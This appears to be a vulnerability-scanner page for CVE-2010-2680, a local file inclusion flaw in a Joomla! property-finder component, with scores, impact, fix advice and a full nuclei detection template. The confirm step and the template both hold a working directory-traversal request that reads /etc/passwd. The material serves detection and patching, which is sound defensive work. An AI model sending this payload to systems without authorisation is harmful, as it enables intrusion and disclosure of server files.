Joomla! Component jesectionfinder - Local File Inclusion

mediumseverity

6.8CVSS score

4.8%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the JExtensions JE Section/Property Finder (jesectionfinder) component for Joomla! allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the view parameter to index.php.

Impact

Remote attackers can include and execute arbitrary local files, potentially leading to remote code execution or full site compromise.

Fix

Apply the latest security patches or update to the latest version of the component.

How to confirm it

Send: GET {{BaseURL}}/propertyfinder/component/jesectionfinder/?view=../../../../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-2680 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-2680

info:
  name: Joomla! Component jesectionfinder - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the JExtensions JE Section/Property Finder (jesectionfinder) component for Joomla! allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the view parameter to index.php.
  impact: |
    Remote attackers can include and execute arbitrary local files, potentially leading to remote code execution or full site compromise.
  remediation: |
    Apply the latest security patches or update to the latest version of the component.
  reference:
    - https://www.exploit-db.com/exploits/14064
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2680
    - http://packetstormsecurity.org/1006-exploits/joomlajesectionfinder-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/59796
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-2680
    cwe-id: CWE-22
    epss-score: 0.04848
    epss-percentile: 0.92094
    cpe: cpe:2.3:a:harmistechnology:com_jesectionfinder:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: harmistechnology
    product: com_jesectionfinder
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,harmistechnology,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/propertyfinder/component/jesectionfinder/?view=../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from